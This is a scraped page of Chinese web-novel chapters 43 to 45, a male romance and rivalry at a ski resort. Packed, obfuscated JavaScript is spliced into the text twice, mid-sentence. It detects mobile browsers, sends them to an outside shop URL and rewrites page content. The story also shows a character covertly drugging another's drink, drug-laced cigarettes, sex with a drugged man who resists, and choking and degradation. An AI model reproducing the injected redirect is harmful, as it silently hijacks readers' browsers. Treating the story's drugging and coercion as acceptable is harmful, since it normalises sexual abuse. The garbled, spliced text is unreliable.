木屋的结构是错层穿插建设的,她房间的浴室上方是宋奕的室内阳台,泡澡的时候听到宋奕训斥经纪人的声音。 她自然猜得到李景麟一脸餮足表情的缘由,实在是不想给这趟旅行横生枝节,也不想给自己增加工作量,她还在考虑要怎么向李景麟汇报这件事情,预想都知道,会是一场不小的风波。且平静一天是一天吧。 好在曾闰霞很懂事,她拖住了傅廷恩,“廷恩哥,我们今天是去坐雪橇吗?”曾闰霞一脸的担忧,“也不知道那些狗狗凶不凶?” 她的身体状况是不可能去进行滑雪这项运动的,但是高雪维尔也有很多供不擅滑雪的女人和孩子玩耍的娱乐项目。 傅廷恩只能先把她扶上雪地车,“放心吧,我要求他们选最听话的阿拉斯加,你拉一拉缰绳,它们就会停下来。”他现在操控雪地车已经非常熟练,长腿一蹬,跳上驾驶座。 苏秘书看着他潇洒的身姿、比例完美的五官以及脸上璀璨的笑容,不得不承认,如果有这样的男生热烈深情的追求,不管男女,估计都抵挡不住。她不由得深深叹了口气。 江永安今天难得没有单飞,他滑了两天也累到了,光昨天的滑雪量就有四十多公里,路上还被一个到高级道晃悠的新手吓到,摔了一跤,好在他各种护垫戴得齐全,才没有受伤。 他们把滑板插在雪地车后面,打算上午先陪姑娘们坐雪橇和滑翔伞,下午再去练练。 苏秘书其实可以单独行动,她确信无需陪同,傅廷恩也会把曾闰霞照顾得很好。但自从窥破了傅廷恩和曾闰成的关系,她总忍不住暗中观察,想寻找一个最合适的时机来挑明、劝退、安抚。 所以一直就跟着这几个年纪比她小了一截的弟弟妹妹们到处晃悠,李芷玉是她直接下属不敢有异议,傅廷恩和曾闰霞又不是真情侣,自然没人嫌她多余。 江永安坐在雪地车上,一路大呼小叫,冲路过的美女们吹口哨,显眼包的本质暴露无遗,苏秘书看看沉静操控着雪地车的傅廷恩,又看看在副驾蹦跳个不停的江永安,难得调侃的凑到李芷玉耳边,“哎,也难怪你看不上。” 43.第 43 章 傅廷恩一直记挂着曾闰成,好不容易熬到下午,苏秘书领着李芷玉和曾闰霞坐热气球,他打了声招呼,便和江永安踩着滑板走开了。 中级雪道上有个落单的身影,跪坐在地上,看样子是摔了一跤,护目镜推上去,是一个帅哥的模样,江永安打了个唿哨,便一个漂亮的平行式滑了过去。 傅廷恩径直滑回了小木屋,正好看到曾闰成抱着滑板走出来。 “闰成,”他“哧”一声停在他面前,“好些了吗?” “嗯。”曾闰成忙把护目镜戴上,回避了傅廷恩担忧的目光。他昨晚被李景麟折腾得够呛,但好在里面穿着紧身的速干衣,外面又裹得严严实实,看不出来什么痕迹。 他越来越在傅廷恩的深情里感觉愧疚,可抱着滑雪板,看向茫茫的大雪山,他也不知道该怎么办。 傅廷恩拍拍他肩膀,“闰成,我们去滑雪好不好?”来高雪维尔三天了,他才找到跟他单独相处的机会,简直一分一秒都不想浪费。 曾闰成看着他期待的眼神,点点头。 “来,我看看你学得怎么样了。”傅廷恩跳下滑雪板,跟曾闰成一起抱着滑雪板走到坡顶。 曾闰成上板滑行的动作倒是比较熟练,就是换刃仍然不是很自然,慢悠悠的从坡顶左转右转滑下来,也还算稳当。 小木屋有不限趟的雪地车接送服务,傅廷恩摇了个雪地车过来,让雪地车将他俩送到了一条初级道上,人不算多,旁边就有一条缆车,很方便。 他牵着曾闰成的手,跟他面对面站立,“你现在跟着我走,但是注意力要集中到你脚下的板子上,眼睛不去看它,用脚掌去感觉。” 前两天教练教的时候,其实也一前一后带过他,姿势倒是不陌生,但是对象换成傅廷恩,多少有点不自在。还好戴着手套、护目镜、口罩,免却了不少尴尬。 这种隔着手套和衣服的触碰带给曾闰成极大的安全感,从情感上,他百分百信赖他,这种信任令他带领的效果反而比两个教练一前一后的扶着他感觉要更好。 而且傅廷恩也不像那些教练,因为怕他摔着,稍有颠簸,便紧紧的挟制住他,让他完全没有办法去挖掘自我的潜能。 他信任傅廷恩的引领,而傅廷恩同样信任他的能力,他最开始用两只手正面扶着他,两三趟之后就改从背面辅助,等他换刃的速度逐渐熟练以后,就换成一只手。 仍然是从正面到背后的辅助,行进的过程中说话不方便,每次换刃的时机到了,他辅助的手就轻按一下他肩膀,曾闰成脚下就会做出相应的反应。 摔跤是难免的,这其实是曾闰成比较尴尬的点,因为之前的教练生怕他摔伤不好交差,一前一后挟持,感觉他重心不稳就会搀住他,他摔跤的次数非常少。 傅廷恩则不同,先给他演示了一下前后刃不同的摔跤方式,后刃摔的时候手抱胸头缩起来,身体蜷缩着向后倒,板子抬起来。前刃摔则是降低重心,身体往前滑出去,板子也抬起来。 看他像一只小浣熊一样,在雪地上前滚后滚,还翻个身,曾闰成忍不住取下口罩哈哈大笑起来。 “你就笑我吧,等会看你摔成什么样!”傅廷恩随手搓了个雪团向他扔过去,他看着他的笑脸心里乐开了花,但是不想让他产生紧张的情绪,忍住了想要凝视的目光,假装不在意的转过了脸庞。 曾闰成果然在傅廷恩的亲身示范下,愈发的放松,他全身的装备佩戴得很齐全,摔起来也毫无压力。又一次换刃不及时,两个人都在雪道上滚了一圈,雪板向天空一举,才放松四肢摊开来,傅廷恩把护目镜推上去,“没事吧?疼不疼?” 曾闰成推开眼镜,“没事,一点都不疼。”两人对视一眼,才发现此刻的距离是那样近。不约而同的转过了头,看向乌云翻涌的天空。身下是皑皑的白雪,耳边是清浅的呼吸,彼此的心跳声都清晰可闻。 傅廷恩虽然惊鸿一瞥便收回了目光,脑海里却盘旋着他带笑的侧颜。在雪色与月色之间,你是第三种绝色。 他多想凑上去亲吻他的唇角,在这静谧安宁的雪地里尽情的倾泻他的思慕与欲念。可是他不能,他不能让他有一丁点的为难,让言行都止于陪伴,或许是他目前唯一能做的。 他握住雪板,站起身,又向曾闰成伸出手,“来,再来一遍。” 白茫茫的雪地里,一绿一蓝两个身影,一遍一遍从坡道顶端滑下,又再次出现在顶端,从一开始的缓慢滞涩,逐渐变得顺滑流畅起来。 初级道都是新手,本来人就不多,更何况大部分新手都是稍微掌握了一点窍门,就急着换道玩,到最后就剩下他们两个,慢悠悠的晃荡在这天地间。 仅仅一个下午,曾闰成感觉比前面三天学到的都要多,傅廷恩的引领让他开始对滑雪这项运动产生了兴趣,爬上缆车的脚步都变得迅疾起来。 车厢里只坐了他们两个,两人都取下头盔,曾闰成接过傅廷恩递来的面巾纸,擦了一下额头渗出的细汗。抬起头,目光对视,在这幽闭又安静的环境里,都有一些不自然的别过脸去。 “咔哒”一声响后,缆车停在了半空中,这是线路检修时常会有的情况,一般最多三五分钟。 两人原本分坐在缆车的两边,但缆车停顿前有几秒轻微的晃动,这是坡道的中间,两具身体自然都顺着惯性靠向缆车底部,无可避免的触碰在一起。 就像一个火堆被瞬间引燃了一样,曾闰成转头,傅廷恩很自然的靠了上去,两片唇紧紧的贴合在了一起,两个人都在刹那间闭上了眼睛。 爱意无法掩饰也无法克制,你闭上嘴巴,它会从你的眼睛里跑出来。你闭上眼睛,它会操控你的身体奔向它的起源。 此刻没有激烈的啃咬,但唇舌却在无声的交换着渴望。不是一方的索求或者攫取,而是彼此同步的交缠与眷恋。并非言语表达的情感,尽管无声,却更令人心灵震颤。 直到“咔哒”一声轻响,缆车重新开始晃动着前行,两人才如梦初醒般分离开来,很有默契的背转过身体,没有半句言语。 缆车将他们送到坡顶,他们重新踏上滑雪板,仍然一前一后的开始滑步雪道。雪花开始飘落,两人飘荡在山谷间的身影看上去分外和谐美好。 ————————————————————————— 大峡谷的山巅,一架望远镜被重新架起,宋奕擦拭了一下沾上雪花的镜头,眼睛对准焦距,问一边的经纪人:“没有任何的动静吗?” 经纪人摇摇头,他盯了两三个小时,实在是没有任何特别之处,硬要说特别,就是这两个人几乎没有说话,也没有坐下来休息聊天,偶尔摔跤停顿的时间都不长,估计就每趟缆车上来那十来分钟调整了一下,整个下午都在孜孜不倦的练习。 他盯得实在无聊,又冷,宋奕过来的时候他已经钻一边休息室烤火去了。 这是山巅酒吧的瞭望台,位于大峡谷的东面,宋奕陪着李景麟和托马斯、乔纳森在西面的高级道上驰骋,却派经纪人来盯着这边初级道上的曾闰成。 昨晚李景麟的推拒令他十分恼火,又有几分恐慌,十多年的来往,令他对李景麟有不逊于苏秘书的了解。那种情况下会推开他,可见他从骨子里十分在意曾闰成,尽管他当面给了他难堪,却不肯将这份难堪落到实处。 宋奕可不是能让人拿来增加情趣的道具,他耳朵里听着李景麟那句“他不行,他没有你玩得开”,血直往脑门上冲,差点就把那张照片甩出来,“是玩不开,但玩得花呀,酒店一呆十几个小时”,话都滚到了嘴边,还是被他强行咽了回去。 他太了解李景麟了,如果他真这么在意曾闰成,揭露这份难堪固然能将曾闰成踩进泥地里,但带来这份难堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李景麟站在山巅,稍微转目,就看到了一绿一蓝两个身影,虽然只有一只手掌的触碰,却默契十足的飘忽在一条人少的高级道上,速度还相当快。 他对曾闰成的身影是相当熟悉的,伸出雪杖点了点,“他什么时候换的单板?”声音已经有几分低沉。 苏秘书凛了凛,“是,是第二天。” “过去看看。”李景麟滑板一动,已经率先冲了下去。 可能是近一个星期的训练,让曾闰成对滑雪的技术有了信心,傅廷恩带他来这条人少的高级道练练。 他们坐着魔毯回到雪道顶端,这次傅廷恩没有辅助,只摘了口罩,隔着不算太远的距离,不断提醒他:“不要着急换刃,先推坡。核心收,肩膀内扣,很好,一个弯一个弯的做,控制速度……” 而曾闰成也按照他的指示,先感受高度和速度,然后重心慢慢放到前脚掌,随着施压,板子从后刃转回到前刃。他的肩、胯、视线始终保持一致,是很优美的身姿,他开始离傅廷恩有了一段距离。 李景麟领着一群人从侧面过来,看他们一个教的认真,一个学的认真,倒也没有出声打扰。 惊变只在刹那间,坡顶突然冲出来一个慌张的身影,明显是到高级道来感受速度的新手,两条腿僵硬的挺直着,完全被板子带着走,巨大的惯性带着这个身影向坡下的两个人疾驰而去,正确的说是冲着曾闰成撞了过去。因为傅廷恩一直刹停站在道边上,看着曾闰成练习。 根本没有反应的时间,李景麟的滑板动了动,那道荧光绿的身影已经一个坡道跳跃,旋转加速,身体反拧,前刃刹车,呲起一道雪墙,以绝对保护的姿势将那个蓝色的身影圈到了臂弯里,双板杀手堪堪与他们错身而过。 坡顶上一片静谧,宋奕鼓了鼓掌,冲他们喊了一声:“身手不错呀傅少爷!” 44.第 44 章 这一晚四楼的起居室分外热闹,托马斯和乔纳森住隔壁栋木屋,但几乎天天都跑这边来吃饭、打牌、聊天。 法国人是出了名的爱聚趴爱热闹,今晚又领着几个男女抱着一堆物料跑过来,堆叠的香槟塔很快架起,从上而下倒满,酒液飞溅,整个起居室立刻弥漫着馥郁辛辣的香气混杂着焦糖果香。 屋角的留声机播放着重金属音乐,他们抽着雪茄大声的谈笑,托马斯带过来的一个艳舞女郎,随着音乐节拍,舒展着肢体,为大家表演。 她只穿着三点式,堪堪遮住敏感部位,裹一层薄纱,从这个男人身边,绕到那个男人身边,动作极尽挑逗,夸张的烈焰红唇烘托着浮华迷离的气氛。 李芷玉被惊得目瞪口呆,赶紧领着曾闰霞往壁炉前宽大的单人沙发里头钻。两个女生脸红红的,却又忍不住躲在老虎椅背后偷看。 李景麟和托马斯、乔纳森都抽着雪茄,用香槟润喉,烟雾缭绕间,躺在托马斯腿上的红发女郎从胸口抽出一根细长条的烟卷点燃,一股甜腻的香气开始在空气中扩散,明显是加了料的大|□□,金发女郎从她手上接过去,抽上几口,又递给身边的卷发帅哥,众人脸上都是一片迷醉神情。 艳舞女郎绕着他们妖娆的扭动,音乐喧嚣,她的动作也越发豪放,不时有手,有的属于男人,有的属于女人,伸到她身上隐|私|部位摸上两把,而她则露出享受的表情。 宋奕显然对这种party氛围见怪不怪,他斜躺在李景麟腿上,嘴里叼着根烟,吸上两口,递到李景麟嘴边,而李景麟也没有拒绝,身体稍稍前倾,低头就着他的手吮了两口。 江永安坐在吧台的高脚椅上,转身偷看两眼,又转回来,低声道:“操!玩这么开的嘛!” 饶是他自认见多识广,也最多是大学生凑一块蹦迪嗑药群魔乱舞一番,这种权富阶层的糜烂夜生活算是头一遭见识。 托马斯和乔纳森带来的那些男女个个颜值顶级,女性曲线玲珑凹凸有致,男性无一例外的八块腹肌,深深人鱼线。 大厅里暖气足,又烧着壁炉,加料的烟抽完会发汗,一个个都脱了毛衣,只保留着几件贴身的衣物,毫无避讳的展露着曼妙的胴|体和健硕的肌肉。 “来来来,快给我调一杯金巴利降降火,加点白葡萄酒吧。”江永安冲吧台后调酒的傅廷恩低嚷,美女就算了,那男模的腹肌真是看得让人受不了。 傅廷恩把一杯深红色加了冰块的鸡尾酒放到他面前,又问坐在他旁边的曾闰成,“闰成,你喝什么?” 曾闰成自然不会加入这种聚|众迷乱,他在托马斯和乔纳森带着一堆男男女女进来跟李景麟、宋奕厮见的时候就闪身坐到了调酒的吧台边。 他想回房间,却被江永安拖住了,“不管他们,咱仨喝一杯。” “随便吧。”他对鸡尾酒没有什么研究。他探身挥了挥手,示意李芷玉带着曾闰霞回房间。两个小姑娘一路歪头偷看一路下楼去了。 傅廷恩用温水烫杯,搅碎冰块,依云水打底,加入朗姆酒、蓝橙利口酒、百香果糖浆和柠檬汁,制成了一杯蓝色的鸡尾酒放到曾闰成手边。 曾闰成端杯尝了一口,酒香浓郁口感微甜,“这个叫什么?” 傅廷恩抬头看他一眼,“勇敢的心。”两人的眼神交汇,曾闰成明白他的意思。 今天雪道上,李景麟离去时候的眼神,明显是对两人的关系起了疑窦,他的确需要直面自己的内心。他不擅长隐瞒,也不想再隐瞒,但是必须尽可能将这件事情的影响控制到最小,至少不能给小霞和傅廷恩带来伤害。 曾闰成很清楚李景麟的偏执和控制欲,他只是他手里的一件小玩意,在没有丢他脸面的前提下,也许他愿意给彼此一点体面。 他低声道,“廷恩,这件事情你让我自己来处理,好吗?答应我,不管什么情况不要冲动。”他看着傅廷恩低落的眉眼,轻叹口气,“廷恩,你小的时候玩过玩具吗?” 傅廷恩疑惑的点点头。 “没人抢,或许你也不觉得这件玩具有多么珍贵。但如果有人伸手,你不见得愿意痛快给他。”为了让傅廷恩明白这个关键点,曾闰成不惜自贬为“玩具”,实际上也没什么太大差别。 “李景麟就是这种性格的人,所以你听我的,不要插手其中,让我先跟他沟通一下。”曾闰成叹口气,“更何况并不单纯为他,也要考虑小霞。” 他可以正视自己的感情,但不能罔顾小霞的感受,如果闹得很难堪,小霞势必会受影响。一定可以找到解决的办法。 “再给我调一杯吧。”他看一眼厅里的气氛和李景麟始终阴沉的面色,直觉这不会是一个轻松的夜晚。 他的话,傅廷恩无法辩驳,他将鸡尾酒杯放到曾闰成手边,看着他那双黑白分明的眼睛,低声道,“闰成,我只想让你知道你不是一个人,也不是毫无筹码,所有的花费都可以还给他,他如果有要求我们一起想办法。” 虽然李景麟不一定会要这个钱,但他们想表达的意思是,并非过河拆桥上墙抽梯,承认他的恩情,并且愿意偿还这份恩情。 两人的关系已不是从前,不像那次在咖啡馆,傅廷恩想表明的其实也是这个意思,曾闰成当时的感受只有难堪和羞愧。但走到今天,曾闰成已经明白,傅廷恩不但理解他,更愿意和他共同承担。他回视着他的眼睛,极力抑制住想要伸出手去握住他手掌的冲动。 ———————————————————————— 坐在吧台前的曾闰成一眼都没有看向半躺在李景麟怀里的宋奕,宋奕却透过淡薄流离的烟雾,将眼神投注在曾闰成身上。 尽管李景麟不时伸手抚过他的面颊、脖颈,状似温柔,他却能感觉到他周身弥漫的低气压,这都是因为坐在吧台前喝酒的那个男人,男人的样貌在见惯帅哥美女的他看来,也算不得多么顶级。 可就这么个男人,他不但无视李景麟的怒火,还公然与另一个男人窃窃私语,实在是不知死活,既然如此,他不介意送他一程。 “话筒呢?拿话筒来。”他起身,角落里隐身的两个服务人员恭敬的送了个话筒过来,几个金发红发女郎开始起哄,大叫着宋奕的英文名字,“Liam要唱歌!大家有耳福咯!”一片举手拍掌叫好的声音。 宋奕是以歌手的身份出道的,唱歌具备专业水准,但是一般场合他是不会开口的,今天倒是难得的有兴致。 服务人员在墙壁上按了几个钮,木门自动分开,露出硕大的金属镜面,全套的丹拿音响。 宋奕唱了一首法语歌,派翠西亚的《篷车里的维纳斯》,他的声线华丽,丝绸般流转光滑,气息很稳,慵懒的嗓音流转整个大厅: “Fallait pas faire la bella “En cuir et dentelle “Fallait pas faire rouge baiser “Pour les attirer “Oui mais les filles “Elles n’voulaient pas rester …… …… 他的目光偶尔环顾,但大部分时候都倾注在李景麟身上,一曲唱完,如潮般的掌声和唿哨声。 他之后,陆续又有两个帅哥一个美女上去一展歌喉。乔纳森作为法圈享誉国际的导演,带来的帅哥美女基本都是法国娱乐圈人士,能歌善舞,天性里又有法国人浪漫不羁的基因,在酒精和加料的刺激下,现场气氛越发热络。 曾闰成直觉想要回避这个场合,他起身准备上楼,宋奕却走过来拦住他,“曾老师就走?唱首歌吧,”他把话筒塞他手里,很熟稔似的拉着他走向圆台,“相处这么久,别说唱歌,话都没听曾老师说过几句,是不是该罚?” 他将手里的香槟递到曾闰成面前,“喝杯酒,唱首歌再走嘛,不然岂不是不给李总面子?”他斜一眼李景麟,后者一副置身事外的样子,面沉如水。 乔纳森凑趣似的走过来,跟曾闰成碰杯,用法语嚷嚷了一串,显然有了三分醉意。 曾闰成推辞不过,便接过那杯香槟喝了,宋奕的嘴角弯了弯。 “曾老师唱什么歌?我帮你点。”他是存心要将曾闰成比下去。 曾闰成想了想,“《友谊地久天长》吧。”宋奕愣了一下,“什么?”没想到他毫不客气,真让他点歌。 “《Auld Lang Syne》,谢谢。” “哪个版本?” 傅廷恩从吧台后走出来,走到三脚架旁边,“不用了,我帮他伴奏。”他记得补习的时候,曾闰成在厨房做饭偶尔会哼唱这首,声线清亮,反正不难听。 他试了几下音,找准了节奏,曾闰成便在钢琴的伴奏声中开口,他唱的是《魂断蓝桥》中的版本,属于苏格兰民歌:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573870|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… …… Should auld acquaintance be et and never brought to mind, Should auld acquaintance be et and days of auld lang syne, …… …… 曾闰成的声线当然没法跟宋奕比,只能说是干净清澈,他选的这首歌也是耳熟能详的经典曲目,没有太多技巧可言。 但是他斜倚在琴架一侧的高脚椅上,伸着两条长腿,手里拿着话筒唱这首歌的时候,连宋奕都不得不承认,是非常吸引人的。 尤其他的眼睛没有看向任何观众,似乎安静聆唱只是自己的事情,偶尔闭上眼睛,完全的沉醉在这旋律里,不知不觉就有人跟他一起哼唱,悠扬的曲调好像清风一样拂过浮躁的心头。 这种经典的旋律到最后总不可避免的成了全场大合唱,唯一没有开口的只有李景麟,他透过弥漫的烟雾注视着场中唱歌的那个身影,眼神冷若冰霜。 即使旋律动人,他也不会忽略曾闰成和傅廷恩的合作有多么默契,傅廷恩无需询问就知道他要唱的是哪个版本,而曾闰成睁眼的间隙,目光温柔的注视着钢琴后的演奏者,嘴角的笑容十分真切。 很好,这是把他当死人了。 即使曾闰成carry全场,没有出糗,宋奕也毫不失望,他看一眼李景麟的表情,便知道自己的目的已经达到。不动声色的端起酒杯,走到托马斯和乔纳森中间,言语热络的攀谈起来。 旋律停下,乔纳森又拿着两杯香槟过来,将其中一杯递给曾闰成,用英语大声称赞他:“Oh,Japser,you give me butterflies……”开始法国人一贯的夸张表演。 曾闰成的酒量一向很浅,还好有苏秘书过来给他解围,用法语跟乔纳森说了一长串,又举了举手中的酒杯,曾闰成意思意思的啜饮了一口。 江永安过来将傅廷恩拖回吧台,“廷恩,你没看到李叔的脸色吗?还杵在那里……” 傅廷恩知道自己该收敛,但他忍受不了宋奕那副想要给曾闰成难堪的嘴脸。他没有留意到李景麟的脸色,但那个法国佬的表情他是看得真真的,一脸的色迷迷。 “你看到那个乔纳森的眼神没?我真的……” “廷恩,曾老师是成年人了,他自己会处理的,而且有苏秘书在,”江永安把他推回吧台里,“你如果不回房间,我们就在这坐着吧。” 他知道有曾闰成在,傅廷恩是不会走的,“别忘了你答应过曾老师什么。” 虽然他在一旁听得一知半解,但大概也能猜出傅廷恩跟曾闰成应该是达成了某种默契。 好兄弟的心思没白花,大有守得云开见月明的架势,他替他高兴,只是这一路仍然困难重重就是了。 但只要两个人心意相通,困难重重又怕什么呢?感情里最怕的永远是落花有情流水无意,只要彼此有心,困难就不算什么。 尽管第二杯香槟只意思了两三口,曾闰成也觉得有点头晕目眩,他并不知道是宋奕在之前那杯香槟里加了料,只单纯觉得自己酒量浅。 他被拉到客厅的沙发里坐下,宽大的沙发靠背遮挡了吧台边的视线。他半闭着眼睛,浑然不知自己脸庞酡醉,眼尾泛红,眉目之间水色迷离。 宋奕其实没别的想法,他看不惯曾闰成一副自视清高的样子,端那杯加了料的香槟给他,就想让他情动出糗,让李景麟看看他这个外表清纯的心肝宝贝,浪荡起来,其实与他们一般无二。 他将曾闰成的反应看在眼里,冲身边两个只穿了件小背心的男模挑了挑眉,后者会意的点点头,一脸淫|笑的走过去。 看上去只是大家笑闹间不经意的触碰,却是不断的抚摸着曾闰成的手腕,胳膊穿插过他的腰身。 曾闰成瑟缩了一下,想要起身走开,却觉得脚下绵软,除了燥热升起,力气也在流失,这才觉察出一点不对劲来。 身体突然腾空而起,落入一个坚硬有力的怀抱里,是李景麟走过来抱起了他,双手托着他的肩背和膝弯。 曾闰成太清瘦,李景麟每次公主抱他都显得毫不费力,几步便踏上转角的楼梯,消失在众人的视线里。 留下身后一地唿哨声、调笑声。吧台里“啪嚓”一声脆响,是玻璃器皿破碎的声音。 45.第 45 章 独栋木屋矗立在悬崖边,是整个三峡谷最好的景观点,乌沉沉的天空肆意挥洒着一堆堆银屑,呼啸的北风十分有耐性的将它们一一席卷包裹住,再铺展成绵软轻盈的雪被。 屋外冰天雪地,小木屋内却温暖如春。曾闰成原本穿了一件米白色的毛衣和卡其色的羊毛针织裤,此刻都散落到了地上,背心、短裤、袜子……一直蔓延到床边,他像一只被煮熟的虾子,浑身都冒着热气,肌肤泛着一层不正常的深粉色,从头发丝到脚趾头都在发抖。 宋奕不清楚他对药物的耐受能力,香槟里头的料明显加得很足,李景麟咒骂了一句,想把他拉扯过来,他却蜷缩着身体,是明显抗拒的姿态。 李景麟被他气笑了,一把揪起他的黑发,“好,老子看你怎么死!”他丢开手,靠在另一张床的床头抽烟,衣服穿得完完整整,表情冷漠又阴沉。 他斜睨了一眼,看着曾闰成在另一张床上难耐的翻滚,喉间逸出粗重的喘息,夹杂着情动的呻吟。他觉得一定是那几根加料烟的催化,才会令他到底忍不住,起身走到床边,伸出手抱住了他。 曾闰成团成一团的肢体舒展开来,八爪鱼一样攀附住了他,带给李景麟一种奇异的满足感。 他放得开,也玩得花,但唯有他,是任何人都不能触碰的禁忌。 他看那男模的手拂过他的腰际,即使隔着衣服,也让他有种被冒犯的愤怒,这种愤怒压制住了他原本对他的不满。 虽然他有错,该死,但轮不到别人来给他教训。 李景麟将他一只手放进自己的衣服里,手掌的温度颇高,在皮肤上烙下温热的印记,他压制住喧嚣的欲望,掐着曾闰成的下巴,冷声道,“很想要?自己来。” 他松开手,曾闰成跌坐在床畔。李景麟靠床站着,两手插在裤兜里,既没有走开,也没有下一步举动,只是冷眼看着那个抖成一团的人。 在他失去耐性的最后一刻,曾闰成终于跪立起身体,颤巍巍伸出了手掌攀向了他的腰间,修长的手指抖动着解开了衬衫下摆的纽扣。 李景麟低头,再次掐起他的下巴,与他晶莹的泪眼对视。“你还委屈上了?!”曾闰成很少哭,尤其在床上,那些时不时出现的青紫印记是他倔强的证明。 可他无需用眼泪或是其它矫情的手段来增添风情,他修长的四肢、白皙的肌肤再加上那张清澈纯净的脸庞,这些组合在一起,已经足够令人疯狂。 尤其当他抗拒、推脱、挣|扎,你就会很清楚的知道他的温顺只在表面,会不自觉的想要压制、征服、占有。 李景麟再也忍耐不住,钳住他的肩膀,压向被褥间,重重的啃咬上他的喉结,换来他含糊不清的哭泣和不由自主的颤抖。 他发狠的咬上他的唇,他有他独属的滋味,哪怕一遍遍的蹂躏,也仍然馥郁的馨香气息。 李景麟在采撷的间隙里竟然想到这或许跟他的饮食习惯有关系,他从不吃任何辛辣刺激的食物,气味稍稍不对的东西吃到嘴里都要吐出来。 这就是我独一无二的小亲亲!他包裹着他的唇舌不断的吮吸,直到如愿看到它们红肿起来。 曾闰成睁开迷蒙的双眼,嘴里含糊不清的控诉,“痛……你又咬我……”他被疼痛带回了一点理智,毫无气力的推拒着他的胸膛。 李景麟看着他水雾弥漫的眼睛,热血“刷”的一声涌上头顶,张嘴叼住他的耳垂,反复的研磨碾压,“咬死算了!看你还敢不敢不听话!” 他从耳垂一路咬到他唇角,又顺流而下,细细的啃咬他的脖颈,曾闰成难耐的弓起身体,十指插进他浓密的头发里,揪着他的发根,细声的哭求:“景麟,景麟……” 李景麟抬起头,“你现在知道叫景麟了?怎么不叫傅廷恩呢?” 天知道,他看到他们一起滑雪的身影有多么恼怒,而且傅廷恩还用那种保护十足的姿态圈住他,圈住属于他的他!他当时就决定今晚上一定要给他点教训! 李景麟并没有意识到问题的严重性,只私心里觉得曾闰成有点模糊了边界,他跟托马斯、乔纳森、宋奕肯定是玩不到一起的,而跟之前的学生,多少有点感情基础。 至于傅家那小子,自然是别有所图,谁都想觊觎他的掌中物心头宝,何止一个傅廷恩,他想起乔纳森附在他耳边的提议,简直不知所谓! 他伸手拧了一把,换来他意识涣散的低吟。 他自然不清楚曾闰成此刻身心受到的煎熬。肌肤沸腾着烈焰,燃烧的感觉随着李景麟的肆虐逐渐蔓延全身。 脑海里却不断闪现着傅廷恩的身影,他很清楚李景麟对他有欲而傅廷恩对他有情,他渴望奔向那份真挚的感情,却只能为自己无法抵抗欲望的沉沦而倍感羞愧。 李景麟完全体会不到曾闰成的痛苦,当他吻着他的唇舌,碰触着他的泪眼,他深感此生几近圆满,唯一缺的那一点,是他从不肯说的那一句。 他在情|欲洋溢、紧密结合的氛围里,轻轻吻着他,“闰成,说你爱我。” 他从来没有对任何人说过这三个字,但如果曾闰成愿意先表达,那他也不介意说一回。 爱是什么?在李景麟的人生字典里,爱就是想睡|他,不断的想睡|他,而且不允许别人睡|他!亲一下也不可以,最好看一看都要经过他同意! 他是大家族的长子长孙,从小就作为继承人培养,第一要紧的就是心胸开阔,什么都能舍得,不管是豪车骏马还是珠宝名表,兄弟姐妹看得上,拿走就是,总有更好的等着他。 如今有这么个人,谁也不能抢,拿什么也不能换,他想不出除了爱还会是别的什么。 曾闰成虽然意识有些模糊,脑海里翻滚着热浪,耳畔索求的话语却听得清楚。爱?他和他之间怎么会有爱? 爱是唯一的,是排他的,是有且仅有的。 曾闰成别过脸去不看他,他的脚趾都因为情|欲的控制而绷紧蜷缩,却在李景麟期待的眼神里,咬紧嘴唇,转过头去…… ———————————————————————— 木屋的顶层作为主卧,当然是视野最开阔的位置,面向雪山的方向是温度调控得宜的桑拿房,圆弧形的木桶,大小类比小型游泳池,引山巅的雪水恒温烧至人体最舒适的39度,不断从底部的细密孔洞注入又流出,营造出温泉的景象。 水面雾气缭绕,细密的水珠缀在曾闰成的眉梢眼角,玉色的脖颈、水面上露出的一小截胸膛都遍布着李景麟留下的嫣红印记。 他轻闭着眼,靠坐在木桶的边缘,李景麟觑着他冷然的面庞,内心里翻涌着强烈的不甘,他给他说爱他的机会,他竟然怎么也不肯开口,被他研磨得狠了,牙齿咬破了唇壁,也只是别过脸去,把抗拒表达得明明白白。 李景麟轻咳一声,“闰成,乔纳森有个很好的提议。”他盘算着该怎么逼一逼他。 “他导的几部片子制片都只是挂名,他有话语权。华影和中夏的引进发行我能搞得定,他想跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一只手掌伸出水面,一把扼住了他的咽喉,李景麟逼近了他,离得那么近,他狭长凤目眼底的血丝都清晰可见,他嘴角挂着一抹冷笑,“两清?你想跟我两清?” 他收紧了五指,曾闰成白玉似的脸庞瞬间晕红一片,“你说了可不算。” …… …… 他掐着他的后颈压靠在木桶的边沿,一只脚踩在他的头旁边,“啪啪”的拍打着他的面颊…… 他从来没有这样羞辱过他,即使情动不已也没有这样要求过,似乎知道这不是曾闰成可以接受的姿势。 可是,这一刻,在愤怒将他彻底淹没的这一刻,这是他在倍感羞辱的同时,唯一想到的报复方法。 他扼住他脆弱的脖颈,迫使他张开了丰盈的红唇,在他本能的挣扎里牢牢的钳制住了他,“你不是让狗|操都愿意吗?这就受不了?嗯?” 他逐渐感受到了阵阵快意,那种温热的湿润的触感奇异般的带给了他一点安抚,即使牙齿带来一些磕碰和刮擦,也是舒爽的微痛感。 他咬着牙推进,感受着曾闰成在他手下痉挛般的挣扎,他瘦削的脊背紧贴着木桶的边缘,脖颈高高仰起向后弯成了一个美丽的弧度,双手在板壁间扣索,却始终没有抓向他的腿。他不肯求饶。 